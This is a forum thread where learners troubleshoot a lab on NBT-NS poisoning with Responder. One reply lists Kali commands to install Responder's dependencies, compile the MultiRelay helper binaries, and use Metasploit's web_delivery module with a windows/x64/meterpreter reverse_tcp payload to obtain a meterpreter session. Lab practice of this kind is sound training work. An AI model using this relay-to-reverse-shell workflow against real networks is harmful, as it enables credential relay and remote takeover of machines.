Hello all,
I have already tried many things, but I have problems in the Lab “NBT-NS Poisoning and Exploitation with Responder”.
For me simply the exploit does not work, I copy the Powershell command down but it does not work.
I also found this post: Lab 11 but it didn’t help me either.
Thanks a lot!
Picture of the Configuration:
Had a same problem, even tried generating own payload from revshells at-least got response as meterpreter reason died.
I also had a problem. Maybe your issue with Multirelay.py? (mine was)
Here’s what I did to fix on Kali:
purge python3.9
apt install -f -y
cd /usr/share
sudo apt-get install responder
cd responder/tools
To fix an error about needing python crypo:
sudo apt-get install python3-pip
sudo pip install pycrypto
To fix traceback error:
sudo pip install pycryptodomex
sudo apt-get install gcc-mingw-w64-x86-64
To fix multirelay/bin folder is empty:
sudo x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
sudo x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
By this point ./MultiRelay.py should be fully working.
With
use exploit/multi/script/web_delivery
make sure you do
set payload windows/x64/meterpreter/reverse_tcp
When you paste the command into your MultiRelay terminal/shell., you may initially see errors like: “write failed” / “sharing violation” but it shouldn’t matter; You should have a meterpreter session in your metasploit terminal now.
If you are still having issues, show all of your work from the beginning please.
